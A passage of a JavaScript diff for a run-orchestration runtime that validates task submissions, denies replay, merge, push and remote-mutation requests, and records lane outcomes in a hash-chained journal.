'cleanup', + 'complete_candidate_blocked', 'created', 'cursor', 'journal', 'lanes', + 'observed_at', 'remote_mutated', 'run_id', 'schema', 'side_effects', + 'status', 'version', 'wake', +]); +export const RUN_RUNTIME_JOURNAL_KEYS = capturedFreeze([ + 'head_hash', 'mode', 'revision', 'run_opened', 'run_outcome', 'terminal', +]); +export const RUN_RUNTIME_ATTENTION_KEYS = capturedFreeze([ + 'batch_id', 'complete_candidate_blocked', 'revision', 'status', 'wake', +]); +export const RUN_RUNTIME_CLEANUP_KEYS = capturedFreeze([ + 'cleaned', 'proof_bound', 'remaining', 'removed', 'unresolved', +]); + +export const RUN_RUNTIME_CHECKS = capturedFreeze([ + 'request_quarantine', + 'exact_identity', + 'idempotent_submission', + 'one_submission', + 'p24_durable_identity', + 'p27_resolution_ready', + 'r25b_aggregate_journal', + 'no_duplicate_dispatch', + 'no_replay', + 'no_fallback', + 'lifecycle_final_before_child_terminal', + 'proof_bound_cleanup', + 'decision_or_attention', + 'remote_mutation_denied', +]); +export const RUN_RUNTIME_SIDE_EFFECTS = capturedFreeze([ + 'task_dispatched', + 'task_cancelled', + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'lifecycle_owned', + 'lock_cleaned', + 'unit_stopped', + 'remote_mutated', +]); +export const RUN_RUNTIME_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'lifecycle_owned', + 'lock_cleaned', + 'unit_stopped', + 'remote_mutated', +]); + +export const MAX_RUNTIME_DIAGNOSTIC_BYTES = 160; +export const CLOCK_ISO_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/u; +export const IDEMPOTENCY_KEY_PATTERN = /^sha256:[0-9a-f]{64}$/u; + +const HASH_ALGORITHM = 'sha256'; +const CREATE_HASH = createHash; +const IS_PROXY = utilTypes.isProxy; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const ARRAY_IS_ARRAY = Array.isArray; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const AGGREGATE_READY_PHASE = 'resolution_ready'; +const AGGREGATE_MISSING_CODES = capturedFreeze([ + 'aggregate_run_not_found', +]); +const JOURNAL_MISSING_CODES = capturedFreeze([ + 'run_journal_not_found', +]); +const STORE_MISSING_CODES = capturedFreeze([ + 'run_store_not_found', + 'runtime_run_unknown', +]); +const STORE_IDENTITY_CONFLICT_CODES = capturedFreeze([ + 'run_identity_conflict', + 'run_idempotency_conflict', +]); +const SCHEDULER_MISSING_CODES = capturedFreeze([ + 'scheduler_run_unknown', + 'runtime_run_unknown', +]); +const TERMINAL_LANE_STATUSES = capturedFreeze([ + 'completed', 'failed', 'cancelled', 'timeout', + 'transport_lost', 'environment_blocked', +]); +const JOURNAL_TERMINAL_STATUSES = capturedFreeze([ + 'completed', 'failed', 'cancelled', 'timeout', 'environment_blocked', +]); +const FORBIDDEN_REQUEST_KEYS = capturedFreeze({ + allow_fallback: 'replay_or_fallback_denied', + allow_post_dispatch_fallback: 'replay_or_fallback_denied', + allow_replay: 'replay_or_fallback_denied', + fallback: 'replay_or_fallback_denied', + fallback_model: 'replay_or_fallback_denied', + fallback_provider: 'replay_or_fallback_denied', + fallbacks: 'replay_or_fallback_denied', + redrive: 'replay_or_fallback_denied', + replay: 'replay_or_fallback_denied', + resend: 'replay_or_fallback_denied', + retry_dispatch: 'replay_or_fallback_denied', + direct_mode: 'direct_mode_rejected', + workspace_mode: 'direct_mode_rejected', + allow_create_pr: 'merge_authority_denied', + allow_merge: 'merge_authority_denied', + allow_push: 'merge_authority_denied', + create_pr: 'merge_authority_denied', + create_pull_request: 'merge_authority_denied', + force_push: 'merge_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + merges: 'merge_authority_denied', + open_pr: 'merge_authority_denied', + push: 'merge_authority_denied', + push_branch: 'merge_authority_denied', + github: 'remote_mutation_denied', + remote: 'remote_mutation_denied', + worktree: 'lifecycle_authority_denied', + branch: 'lifecycle_authority_denied', + lock: 'lifecycle_authority_denied', + candidate: 'candidate_authority_denied', + lifecycle_root: 'lifecycle_authority_denied', +}); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Accessor properties are denied.', + aliased_reference_denied: 'Aliased references are denied.', + candidate_authority_denied: 'Candidate refs are outside this runtime.', + cursor_identity_mismatch: 'Cursor rows must bind the exact assignment and task.', + direct_mode_rejected: 'Run submissions reject direct mode.', + duplicate_assignment_id: 'Assignment ids in a run must be unique.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + injected_dependency_invalid: 'createRunRuntime requires the closed injected seams.', + invalid_clock: 'The injected clock must return a UTC timestamp.', + invalid_format: 'A runtime field is not in the required format.', + invalid_type: 'A runtime field is not the required JSON type.', + lifecycle_authority_denied: 'The runtime does not own worker, boundary, or lock recovery.', + merge_authority_denied: 'Merge, push, and pull-request authority is denied.', + missing_key: 'A required runtime field is missing.', + own_undefined_denied: 'Own undefined values are denied.', + out_of_range: 'A runtime collection is outside the closed bounds.', + proxy_denied: 'Proxy values are denied.', + remote_mutation_denied: 'Remote mutation is denied.', + replay_or_fallback_denied: 'Replay and fallback are denied.', + runtime_assignment_unknown: 'The assignment id is not part of this run.', + runtime_cleanup_unproven: 'Artifact cleanup requires proven run ownership and lifecycle finality.', + runtime_identity_conflict: 'The run id already binds a different canonical body.', + runtime_journal_failed: 'The injected journal seam failed closed.', + runtime_lifecycle_failed: 'The injected lifecycle seam failed closed.', + runtime_run_unknown: 'The run is not available.', + runtime_scheduler_failed: 'The injected scheduler seam failed closed.', + runtime_selection_unresolved: 'Dispatch requires R24A/P27 resolution_ready.', + runtime_store_failed: 'The injected run store seam failed closed.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A runtime field is outside the closed vocabulary.', +}); + +export const RUN_RUNTIME_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'candidate_authority_denied', + 'cursor_identity_mismatch', + 'direct_mode_rejected', + 'duplicate_assignment_id', + 'exotic_prototype_denied', + 'injected_dependency_invalid', + 'invalid_clock', + 'invalid_format', + 'invalid_type', + 'lifecycle_authority_denied', + 'merge_authority_denied', + 'missing_key', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'remote_mutation_denied', + 'replay_or_fallback_denied', + 'runtime_assignment_unknown', + 'runtime_cleanup_unproven', + 'runtime_identity_conflict', + 'runtime_journal_failed', + 'runtime_lifecycle_failed', + 'runtime_run_unknown', + 'runtime_scheduler_failed', + 'runtime_selection_unresolved', + 'runtime_store_failed', + 'symbol_key_denied', + 'unknown_key', +]); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUNTIME_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUNTIME_DIAGNOSTIC_BYTES); +} + +function failRuntime(code, field, message) { + fail(code, field, diagnostic(message ?? CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format)); +} + +function isTypedError(error) { + return error instanceof RunContractV1Error; +} + +function errorCodeOf(error) { + return isTypedError(error) ? error.code : null; +} + +async function callInjected(fn, args, code, field) { + try { + return await fn(...args); + } catch (error) { + if (isTypedError(error)) throw error; + failRuntime(code, field, CONTENT_FREE[code]); + } +} + +function assertFunction(value, field) { + assertNotProxy(value, field); + if (typeof value !== 'function') { + failRuntime('injected_dependency_invalid', field, CONTENT_FREE.injected_dependency_invalid); + } + return value; +} + +function assertMethodMap(value, field, methods) { + assertPlainObject(value, 'injected_dependency_invalid', field, 'The injected seam'); + for (const method of methods) { + const candidate = value[method]; + if (typeof candidate !== 'function') { + failRuntime('injected_dependency_invalid', `${field}.${method}`, + CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(candidate, `${field}.${method}`); + } + return value; +} + +function parseDependencies(dependencies) { + if (dependencies === undefined || dependencies === null) { + failRuntime('injected_dependency_invalid', 'dependencies', + CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(dependencies, 'dependencies'); + assertPlainObject(dependencies, 'injected_dependency_invalid', 'dependencies', + 'createRunRuntime dependencies'); + const keys = sortedCapturedKeys(dependencies); + if (REFLECT_OWN_KEYS(dependencies).some((key) => typeof key === 'symbol')) { + failRuntime('symbol_key_denied', 'dependencies', CONTENT_FREE.symbol_key_denied); + } + for (const key of keys) { + if (!capturedIncludes(RUN_RUNTIME_DEPENDENCY_KEYS, key)) { + failRuntime('unknown_key', `dependencies.${key}`, CONTENT_FREE.unknown_key); + } + } + for (const key of RUN_RUNTIME_DEPENDENCY_KEYS) { + if (!capturedHasOwn(dependencies, key)) { + failRuntime('missing_key', `dependencies.${key}`, CONTENT_FREE.missing_key); + } + } + return capturedFreeze({ + runStore: assertMethodMap(ownDataValue(dependencies, 'runStore', 'dependencies.runStore'), + 'dependencies.runStore', RUN_STORE_METHODS), + runJournal: assertMethodMap(ownDataValue(dependencies, 'runJournal', 'dependencies.runJournal'), + 'dependencies.runJournal', RUN_JOURNAL_METHODS), + aggregateAnchor: assertMethodMap( + ownDataValue(dependencies, 'aggregateAnchor', 'dependencies.aggregateAnchor'), + 'dependencies.aggregateAnchor', AGGREGATE_ANCHOR_METHODS), + attentionBatch: assertMethodMap( + ownDataValue(dependencies, 'attentionBatch', 'dependencies.attentionBatch'), + 'dependencies.attentionBatch', ATTENTION_BATCH_METHODS), + scheduler: assertMethodMap(ownDataValue(dependencies, 'scheduler', 'dependencies.scheduler'), + 'dependencies.scheduler', SCHEDULER_METHODS), + artifactBridge: assertMethodMap( + ownDataValue(dependencies, 'artifactBridge', 'dependencies.artifactBridge'), + 'dependencies.artifactBridge', ARTIFACT_BRIDGE_METHODS), + settleLocalTaskLifecycle: assertFunction( + ownDataValue(dependencies, 'settleLocalTaskLifecycle', + 'dependencies.settleLocalTaskLifecycle'), + 'dependencies.settleLocalTaskLifecycle'), + cleanupLocalTaskLifecycle: assertFunction( + ownDataValue(dependencies, 'cleanupLocalTaskLifecycle', + 'dependencies.cleanupLocalTaskLifecycle'), + 'dependencies.cleanupLocalTaskLifecycle'), + clock: assertFunction(ownDataValue(dependencies, 'clock', 'dependencies.clock'), + 'dependencies.clock'), + }); +} + +function readClock(clock) { + let value; + try { + value = clock(); + } catch (error) { + if (isTypedError(error)) throw error; + failRuntime('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + } + if (typeof value === 'number' && NUMBER_IS_SAFE_INTEGER(value) && value >= 0) { + return new Date(value).toISOString(); + } + if (typeof value !== 'string' || !capturedTest(CLOCK_ISO_PATTERN, value)) { + failRuntime('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + } + return value; +} + +function denyForbiddenKey(key, field) { + const code = FORBIDDEN_REQUEST_KEYS[key]; + if (code) failRuntime(code, field, CONTENT_FREE[code]); +} + +function quarantineRequest(request, field, allowed) { + if (request === undefined || request === null) { + failRuntime('invalid_type', field, CONTENT_FREE.invalid_type); + } + assertNotProxy(request, field); + assertPlainObject(request, 'invalid_type', field, 'The runtime request'); + assertDirectJsonClosure(request, field); + const ownKeys = REFLECT_OWN_KEYS(request); + for (const key of ownKeys) { + if (typeof key === 'symbol') { + failRuntime('symbol_key_denied', field, CONTENT_FREE.symbol_key_denied); + } + } + for (const key of sortedCapturedKeys(request)) { + denyForbiddenKey(key, `${field}.${key}`); + if (!capturedIncludes(allowed, key)) { + failRuntime('unknown_key', `${field}.${key}`, CONTENT_FREE.unknown_key); + } + } + return request; +} + +function requireKey(parsed, key, field) { + if (!hasOwn(parsed, key)) failRuntime('missing_key', field, CONTENT_FREE.missing_key); + return ownDataValue(parsed, key, field); +} + +function optionalKey(parsed, key, field) { + if (!hasOwn(parsed, key)) return undefined; + return ownDataValue(parsed, key, field); +} + +function parseAssignments(value) { + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', 'assignments', CONTENT_FREE.invalid_type); + } + assertNotProxy(value, 'assignments'); + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failRuntime('out_of_range', 'assignments', CONTENT_FREE.out_of_range); + } + const seen = new Set(); + const assignments = []; + for (let index = 0; index < value.length; index += 1) { + const item = value[index]; + const path = `assignments[${index}]`; + assertPlainObject(item, 'invalid_type', path, 'An assignment'); + for (const key of sortedCapturedKeys(item)) denyForbiddenKey(key, `${path}.${key}`); + if (!hasOwn(item, 'assignment_id')) { + failRuntime('missing_key', `${path}.assignment_id`, CONTENT_FREE.missing_key); + } + const assignmentId = ownDataValue(item, 'assignment_id', `${path}.assignment_id`); + if (!isAssignmentId(assignmentId)) { + failRuntime('invalid_format', `${path}.assignment_id`, CONTENT_FREE.invalid_format); + } + if (seen.has(assignmentId)) { + failRuntime('duplicate_assignment_id', `${path}.assignment_id`, + CONTENT_FREE.duplicate_assignment_id); + } + seen.add(assignmentId); + assignments.push(item); + } + return assignments; +} + +function parseIdList(value, field, knownIds) { + if (value === undefined) return [...knownIds]; + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', field, CONTENT_FREE.invalid_type); + } + if (value.length < 1 || value.length > MAX_ASSIGNMENTS) { + failRuntime('out_of_range', field, CONTENT_FREE.out_of_range); + } + const selected = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const assignmentId = value[index]; + if (!isAssignmentId(assignmentId)) { + failRuntime('invalid_format', `${field}[${index}]`, CONTENT_FREE.invalid_format); + } + if (!knownIds.has(assignmentId)) { + failRuntime('runtime_assignment_unknown', `${field}[${index}]`, + CONTENT_FREE.runtime_assignment_unknown); + } + if (seen.has(assignmentId)) { + failRuntime('duplicate_assignment_id', `${field}[${index}]`, + CONTENT_FREE.duplicate_assignment_id); + } + seen.add(assignmentId); + selected.push(assignmentId); + } + return selected; +} + +function parseCursors(value, lanesById) { + if (value === undefined) return new Map(); + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', 'cursors', CONTENT_FREE.invalid_type); + } + const cursors = new Map(); + for (let index = 0; index < value.length; index += 1) { + const row = value[index]; + const path = `cursors[${index}]`; + assertPlainObject(row, 'invalid_type', path, 'A cursor row'); + for (const key of sortedCapturedKeys(row)) { + if (!capturedIncludes(['assignment_id', 'event_cursor', 'task_id'], key)) { + failRuntime('unknown_key', `${path}.${key}`, CONTENT_FREE.unknown_key); + } + } + const assignmentId = requireKey(row, 'assignment_id', `${path}.assignment_id`); + const taskId = requireKey(row, 'task_id', `${path}.task_id`); + const eventCursor = requireKey(row, 'event_cursor', `${path}.event_cursor`); + if (!isAssignmentId(assignmentId)) { + failRuntime('invalid_format', `${path}.assignment_id`, CONTENT_FREE.invalid_format); + } + const lane = lanesById.get(assignmentId); + if (!lane || lane.task_id !== taskId) { + failRuntime('cursor_identity_mismatch', path, CONTENT_FREE.cursor_identity_mismatch); + } + cursors.set(assignmentId, { assignment_id: assignmentId, task_id: taskId, event_cursor: eventCursor }); + } + return cursors; +} + +function identityDigest(runId, baseSha, idempotencyKey, assignments) { + const rows = assignments.map((assignment) => ({ + access: assignment.access ?? null, + assignment_id: assignment.assignment_id, + model: assignment.model ?? null, + provider: assignment.provider ?? null, + required: assignment.required !== false, + role: assignment.role ?? null, + starting_ref: assignment.starting_ref ?? null, + task_id: assignment.task_id ?? null, + write_scope: assignment.write_scope ?? null, + })); + rows.sort((left, right) => (left.assignment_id < right.assignment_id ? -1 : 1)); + const payload = canonicalJsonStringify({ + assignments: rows, + base_sha: baseSha, + domain: RUN_RUNTIME_HASH_DOMAIN, + request_idempotency_key: idempotencyKey, + run_id: runId, + }); + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(payload).digest('hex')}`; +} + +function assignmentsFromLanes(lanes) { + return lanes.map((lane) => ({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required !== false, + role: lane.role, + starting_ref: lane.starting_ref ?? null, + task_id: lane.task_id, + write_scope: lane.write_scope, + })); +} + +function storedSubmissionFacts(stored) { + if (stored === undefined || stored === null || typeof stored !== 'object' + || ARRAY_IS_ARRAY(stored) || IS_PROXY(stored)) { + return { durable: false, request_idempotency_key: null, base_sha: null }; + } + const key = stored.request_idempotency_key; + const requestKey = typeof key === 'string' && capturedTest(IDEMPOTENCY_KEY_PATTERN, key) + ? key + : null; + let baseSha = null; + const git = stored.git; + if (git !== undefined && git !== null && typeof git === 'object' && !ARRAY_IS_ARRAY(git) + && !IS_PROXY(git) && hasOwn(git, 'base_sha') && typeof git.base_sha === 'string') { + try { + assertBaseSha(git.base_sha, 'git.base_sha'); + baseSha = git.base_sha; + } catch (error) { + if (!(isTypedError(error) && error.code === 'invalid_format')) throw error; + } + } + return { durable: true, request_idempotency_key: requestKey, base_sha: baseSha }; +} + +function recoveredIdentityDigest(runId, facts, assignments) { + if (facts.request_idempotency_key === null || facts.base_sha === null + || !ARRAY_IS_ARRAY(assignments) || assignments.length === 0) { + return null; + } + return identityDigest(runId, facts.base_sha, facts.request_idempotency_key, assignments); +} + +function assertNoIdentityConflict(known, digest, idempotencyKey) { + if (!known) return; + if (typeof known.request_idempotency_key === 'string' + && known.request_idempotency_key !== idempotencyKey) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } + if (typeof known.digest === 'string' && known.digest !== digest) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } +} + +function mapStoreConflict(error) { + if (isTypedError(error) && capturedIncludes(STORE_IDENTITY_CONFLICT_CODES, error.code)) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } +} + +function baseShaFromGit(git) { + assertPlainObject(git, 'invalid_type', 'git', 'git'); + if (!hasOwn(git, 'base_sha')) failRuntime('missing_key', 'git.base_sha', CONTENT_FREE.missing_key); + const baseSha = ownDataValue(git, 'base_sha', 'git.base_sha'); + assertBaseSha(baseSha, 'git.base_sha'); + return baseSha; +} + +function emptySideEffects() { + const sideEffects = {}; + for (const claim of RUN_RUNTIME_SIDE_EFFECTS) sideEffects[claim] = false; + return sideEffects; +} + +function emptyChecks() { + const checks = {}; + for (const check of RUN_RUNTIME_CHECKS) checks[check] = true; + return checks; +} + +function closedString(value, allowed) { + return typeof value === 'string' && capturedIncludes(allowed, value) ? value : null; +} + +function sanitizeCleanup(value) { + if (typeof value === 'string') { + const status = closedString(value, RUN_RUNTIME_CLEANUP_STATUSES); + return freezeData({ status, code: null }); + } + if (value === undefined || value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) { + return freezeData({ status: null, code: null }); + } + const status = closedString(value.status, RUN_RUNTIME_CLEANUP_STATUSES); + const code = typeof value.code === 'string' && capturedIncludes(RUN_RUNTIME_LIFECYCLE_REASONS, value.code) + ? value.code + : (typeof value.code === 'string' && capturedIncludes(RUN_RUNTIME_CLEANUP_STATUSES, value.code) + ? value.code + : null); + return freezeData({ status, code }); +} + +function sanitizeProof(value, allowed) { + if (typeof value === 'string') { + return freezeData({ status: closedString(value, allowed) }); + } + if (value === undefined || value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) { + return freezeData({ status: null }); + } + return freezeData({ status: closedString(value.status, allowed) }); +} + +function sanitizeLifecycle(raw, expectedTaskId) { + if (raw === undefined || raw === null || typeof raw !== 'object' || ARRAY_IS_ARRAY(raw) + || IS_PROXY(raw)) { + failRuntime('runtime_lifecycle_failed', 'lifecycle', CONTENT_FREE.runtime_lifecycle_failed); + } + const taskId = typeof raw.task_id === 'string' ? raw.task_id : expectedTaskId; + if (typeof taskId !== 'string' || (expectedTaskId && taskId !== expectedTaskId)) { + failRuntime('runtime_lifecycle_failed', 'lifecycle.task_id', + CONTENT_FREE.runtime_lifecycle_failed); + } + const reason = closedString(raw.reason, RUN_RUNTIME_LIFECYCLE_REASONS); + return freezeData({ + version: raw.version === 1 || raw.version === '1' ? 1 : 1, + task_id: taskId, + stored_status: typeof raw.stored_status === 'string' ? raw.stored_status : null, + projected_status: typeof raw.projected_status === 'string' ? raw.projected_status : null, + public_state: typeof raw.public_state === 'string' ? raw.public_state : null, + final: raw.final === true, + cleanup: sanitizeCleanup(raw.cleanup), + boundary: sanitizeProof(raw.boundary, RUN_RUNTIME_BOUNDARY_STATUSES), + lock: sanitizeProof(raw.lock, RUN_RUNTIME_LOCK_STATUSES), + reason, + }); +} + +function schedulerLaneStatus(lane) { + const status = typeof lane?.status === 'string' ? lane.status : 'dispatched'; + return capturedIncludes(RUN_RUNTIME_LANE_STATUSES, status) ? status : 'unresolved'; +} + +function isAuthoritativeDispatch(lane) { + return lane?.dispatched !== false; +} + +function isConfirmedCancelled(lane) { + return isAuthoritativeDispatch(lane) + && schedulerLaneStatus(lane) === 'cancelled' + && lane?.cancel_confirmed === true; +} + +function isSchedulerTerminal(status) { + return capturedIncludes(TERMINAL_LANE_STATUSES, status); +} + +function isAcceptableChildTerminal(lane) { + if (!isAuthoritativeDispatch(lane)) return false; + const status = schedulerLaneStatus(lane); + if (status === 'cancelled') return lane?.cancel_confirmed === true; + return isSchedulerTerminal(status) && status !== 'transport_lost'; +} + +function authoritativeLaneStatus(lane) { + if (!isAuthoritativeDispatch(lane)) return 'unresolved'; + const status = schedulerLaneStatus(lane ?? { status: 'dispatched' }); + if (status === 'cancelled' && lane?.cancel_confirmed !== true) return 'unresolved'; + return status; +} + +function journalOutcomeFor(status) { + if (status === 'completed') return 'completed'; + if (status === 'cancelled') return 'cancelled'; + if (capturedIncludes(JOURNAL_TERMINAL_STATUSES, status) || status === 'failed' + || status === 'timeout' || status === 'environment_blocked') { + return 'failed'; + } + return null; +} + +function cleanupNote(lifecycle) { + const status = lifecycle?.cleanup?.status; + if (status === 'normal') return 'cleanup.normal'; + if (status === 'recovered') return 'cleanup.recovered'; + return null; +} + +function pickLane(schedulerReceipt, assignmentId) { + const lanes = ARRAY_IS_ARRAY(schedulerReceipt?.lanes) ? schedulerReceipt.lanes : []; + for (const lane of lanes) { + if (lane && lane.assignment_id === assignmentId) return lane; + } + return null; +} + +function projectLane(assignment, schedulerLane, lifecycle) { + const rawLane = schedulerLane ?? { status: 'dispatched' }; + const status = authoritativeLaneStatus(rawLane); + const overlay = lifecycle && isAcceptableChildTerminal(rawLane) && lifecycle.final !== true + ? 'lifecycle_pending' + : status; + return freezeData({ + assignment_id: assignment.assignment_id, + task_id: schedulerLane?.task_id ?? assignment.task_id ?? null, + role: schedulerLane?.role ?? assignment.role ?? null, + access: schedulerLane?.access ?? assignment.access ?? null, + provider: schedulerLane?.provider ?? assignment.provider ?? null, + model: schedulerLane?.model ?? assignment.model ?? null, + write_scope: schedulerLane?.write_scope ?? assignment.write_scope ?? null, + required: schedulerLane?.required ?? assignment.required !== false, + starting_ref: schedulerLane?.starting_ref ?? assignment.starting_ref ?? null, + status: overlay, + unresolved: schedulerLane?.unresolved ?? null, + cursor: schedulerLane?.cursor ?? null, + attention: schedulerLane?.attention ?? null, + cleanup: lifecycle + ? freezeData({ + task_id: lifecycle.task_id, + status: lifecycle.cleanup.status, + code: lifecycle.cleanup.code, + final: lifecycle.final, + reason: lifecycle.reason, + }) + : null, + }); +} + +function projectJournal(handle, mode, state) { + return freezeData({ + mode, + revision: typeof state?.revision === 'number' ? state.revision : 0, + head_hash: typeof state?.head_hash === 'string' ? state.head_hash : RUN_JOURNAL_GENESIS_PREV, + run_opened: state?.run_opened === true, + terminal: state?.terminal === true, + run_outcome: capturedIncludes(RUN_JOURNAL_OUTCOMES, state?.run_outcome) + ? state.run_outcome + : null, + handle_bound: handle !== null, + }); +} + +function projectAttention(receipt) { + if (receipt === null || receipt === undefined) { + return freezeData({ + batch_id: null, + status: null, + revision: 0, + complete_candidate_blocked: false, + wake: false, + }); + } + return freezeData({ + batch_id: typeof receipt.batch_id === 'string' ? receipt.batch_id : receipt.record?.batch_id ?? null, + status: typeof receipt.status === 'string' + ? receipt.status + : receipt.record?.status ?? null, + revision: typeof receipt.revision === 'number' + ? receipt.revision + : receipt.record?.revision ?? 0, + complete_candidate_blocked: receipt.complete_candidate_blocked === true, + wake: false, + }); +} + +function blockedFrom(schedulerReceipt, attention, lanes) { + if (schedulerReceipt?.complete_candidate_blocked === true) return true; + if (attention?.complete_candidate_blocked === true) return true; + for (const lane of lanes) { + if (lane.required !== false && (lane.status === 'unresolved' || lane.status === 'failed' + || lane.status === 'lifecycle_pending' || lane.status === 'transport_lost')) { + return true; + } + } + return false; +} + +function receiptFor(record, extras) { + const sideEffects = emptySideEffects(); + if (extras.dispatched) sideEffects.task_dispatched = true; + if (extras.cancelled) sideEffects.task_cancelled = true; + const lanes = extras.lanes ?? []; + return freezeData({ + schema: RUN_RUNTIME_RECEIPT_SCHEMA_ID, + version: RUN_RUNTIME_VERSION, + status: extras.status, + run_id: record.run_id, + base_sha: record.base_sha, + created: extras.created === true, + assignment_count: record.assignments.length, + lanes, + journal: extras.journal, + attention: extras.attention ?? projectAttention(null), + cleanup: extras.cleanup ?? freezeData({ + cleaned: false, + proof_bound: true, + removed: 0, + remaining: null, + unresolved: [], + }), + cursor: extras.cursor ?? null, + checks: emptyChecks(), + side_effects: sideEffects, + complete_candidate_blocked: blockedFrom(extras.schedulerReceipt, extras.attention, lanes), + observed_at: extras.observedAt, + wake: false, + remote_mutated: false, + }); +} + +function enqueue(queues, runId, work) { + const current = queues.get(runId) ?? Promise.resolve(); + const next = current.then(work, work); + queues.set(runId, next.catch(() => {})); + return next; +} + +async function loadCoordination(anchor, runId) { + try { + const coordination = await anchor.getCoordination(runId); + if (coordination === undefined || coordination === null) return null; + return coordination; + } catch (error) { + if (isTypedError(error) && capturedIncludes(AGGREGATE_MISSING_CODES, errorCodeOf(error))) { + return null; + } + throw error; + } +} + +async function openOrCreateJournal(injected, record, preferCreate) { + const mode = record.journal_mode; + const createFn = mode === 'aggregate' + ? injected.runJournal.createAggregate + : injected.runJournal.create; + const openFn = mode === 'aggregate' + ? injected.runJournal.openAggregate + : injected.runJournal.open; + const options = mode === 'aggregate' + ? { run_id: record.run_id, anchor: injected.aggregateAnchor } + : { run_id: record.run_id, store: injected.runStore }; + const attempt = async (fn) => callInjected(fn, [options], 'runtime_journal_failed', 'runJournal'); + if (preferCreate) { + return { handle: await attempt(createFn), created: true }; + } + try { + return { handle: await attempt(openFn), created: false }; + } catch (error) { + if (isTypedError(error) && capturedIncludes(JOURNAL_MISSING_CODES, errorCodeOf(error))) { + return { handle: await attempt(createFn), created: true }; + } + throw error; + } +} + +async function journalState(handle) { + if (handle === null || typeof handle.currentState !== 'function') { + failRuntime('runtime_journal_failed', 'runJournal', CONTENT_FREE.runtime_journal_failed); + } + return callInjected(handle.currentState.bind(handle), [], 'runtime_journal_failed', + 'runJournal.currentState'); +} + +async function journalCursor(handle, seq) { + if (handle === null || typeof handle.cursorAfter !== 'function') return null; + return callInjected(handle.cursorAfter.bind(handle), [seq], 'runtime_journal_failed', + 'runJournal.cursorAfter'); +} + +async function appendJournal(handle, event) { + if (handle === null || typeof handle.append !== 'function') { + failRuntime('runtime_journal_failed', 'runJournal.append', CONTENT_FREE.runtime_journal_failed); + } + return callInjected(handle.append.bind(handle), [event], 'runtime_journal_failed', + 'runJournal.append'); +} + +async function bindJournal(injected, journals, record, preferCreate) { + const existing = journals.get(record.run_id); + if (existing) return existing; + const bound = await openOrCreateJournal(injected, record, preferCreate); + journals.set(record.run_id, bound.handle); + return bound.handle; +} + +function childStarted(state, assignmentId) { + const children = ARRAY_IS_ARRAY(state?.children) ? state.children : []; + return children.some((child) => child && child.assignment_id === assignmentId); +} + +function childTerminal(state, assignmentId) { + const children = ARRAY_IS_ARRAY(state?.children) ? state.children : []; + for (const child of children) { + if (child && child.assignment_id === assignmentId && child.outcome) return true; + } + return false; +} + +async function ensureOpened(handle, state) { + if (state?.run_opened === true) return state; + await appendJournal(handle, { + kind: 'run_opened', + data: {}, + dedupe_key: 'run_opened', + }); + return journalState(handle); +} + +async function ensureChildStarted(handle, state, assignmentId) { + if (childStarted(state, assignmentId)) return state; + await appendJournal(handle, { + kind: 'child_started', + data: { assignment_id: assignmentId }, + dedupe_key: `child_started:${assignmentId}`, + }); + return journalState(handle); +} + +async function acceptChildTerminal(handle, state, assignmentId, outcome, lifecycle) { + let current = state; + if (childTerminal(current, assignmentId)) return current; + const note = cleanupNote(lifecycle); + if (note) { + await appendJournal(handle, { + kind: 'child_progress', + data: { assignment_id: assignmentId, note }, + dedupe_key: `cleanup:${assignmentId}:${note}`, + }); + current = await journalState(handle); + } + if (!capturedIncludes(RUN_JOURNAL_OUTCOMES, outcome)) return current; + await appendJournal(handle, { + kind: 'child_terminal', + data: { assignment_id: assignmentId, outcome }, + dedupe_key: `child_terminal:${assignmentId}`, + }); + return journalState(handle); +} + +async function maybeRunTerminal(handle, state, record, lanes) { + if (state?.terminal === true) return state; + const required = record.assignments.filter((assignment) => assignment.required !== false); + const requiredIds = required.length > 0 + ? required.map((assignment) => assignment.assignment_id) + : record.assignments.map((assignment) => assignment.assignment_id); + const byId = new Map(lanes.map((lane) => [lane.assignment_id, lane])); + const outcomes = []; + for (const assignmentId of requiredIds) { + const lane = byId.get(assignmentId); + if (!lane || !lane.cleanup?.final) return state; + const outcome = journalOutcomeFor(lane.status === 'lifecycle_pending' ? null : lane.status); + if (outcome === null) return state; + outcomes.push(outcome); + } + let runOutcome = 'completed'; + if (outcomes.includes('failed')) runOutcome = 'failed'; + else if (outcomes.includes('cancelled')) runOutcome = 